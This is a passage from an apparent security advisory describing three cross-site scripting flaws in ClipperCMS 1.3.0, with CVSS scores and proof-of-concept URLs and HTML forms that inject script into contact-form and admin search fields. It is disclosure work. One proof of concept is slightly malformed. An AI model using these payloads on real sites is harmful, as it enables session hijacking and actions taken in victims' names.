2. Overview
There are various XSS vulnerabilities in ClipperCMS 1.3.0. Some require
specific non-default settings, while others do not require these settings.
3. XSS 1
CVSS
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
Proof of Concept
http://localhost/ClipperCMS-clipper_1.3.0/manager/media/browser/mcpuk/connectors/php/connector.php?foo=bar<img src=no onerror=alert(1)>
4. XSS 2
CVSS
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
Description
The name, email, message, and subjected parameter of the Contact form are
vulnerable to XSS.
Contrary to the XSS issues in the admin area described below, these XSS work
without clickjacking or specific settings regarding referers.
Proof of Concept
The POCs for name and subjected are equivalent to this POC for email:
<html>
<body>
<form action="http://localhost/ClipperCMS-clipper_1.3.0/index.php?id=6" method="POST">
<input type="hidden" name="name" value="test" />
<input type="hidden" name="email" value="test@example.com"onfocus="alert(1)"autofocus="" />
<input type="hidden" name="subjected" value="test" />
<input type="hidden" name="message" value="test" />
<input type="hidden" name="submit" value="Send" />
<input type="hidden" name="formid" value="contactform" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
POC for message:
<html>
<body>
<form action="http://localhost/ClipperCMS-clipper_1.3.0/index.php?id=6" method="POST">
<input type="hidden" name="name" value="test"onfocus="alert(1)"autofocus="" />
<input type="hidden" name="email" value="test@example.com"onfocus" />
<input type="hidden" name="subjected" value="test"onfocus="alert(1)"autofocus="" />
<input type="hidden" name="message" value="test"></textarea><script>alert(1)</script>" />
<input type="hidden" name="submit" value="Send" />
<input type="hidden" name="formid" value="contactform" />
<input type="submit" value="Submit request" />
</form>
</body>
5. XSS 3
CVSS
Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
Description
The search field of the System Events page is vulnerable to XSS. To execute the
provided POC, the setting "Validate HTTP_REFERER headers" should be set to
false. Please note that it is likely possible to exploit this issue via
ClickJacking even if that setting is set to true.
Proof of Concept
<html>
<body>
<form action="http://localhost/ClipperCMS-clipper_1.3.0/manager/index.php?a=114" method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="listmode" value="" />
<input type="hidden" name="op" value="" />
<input type="hidden" name="search" value="" autofocus onfocus="alert(1)" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
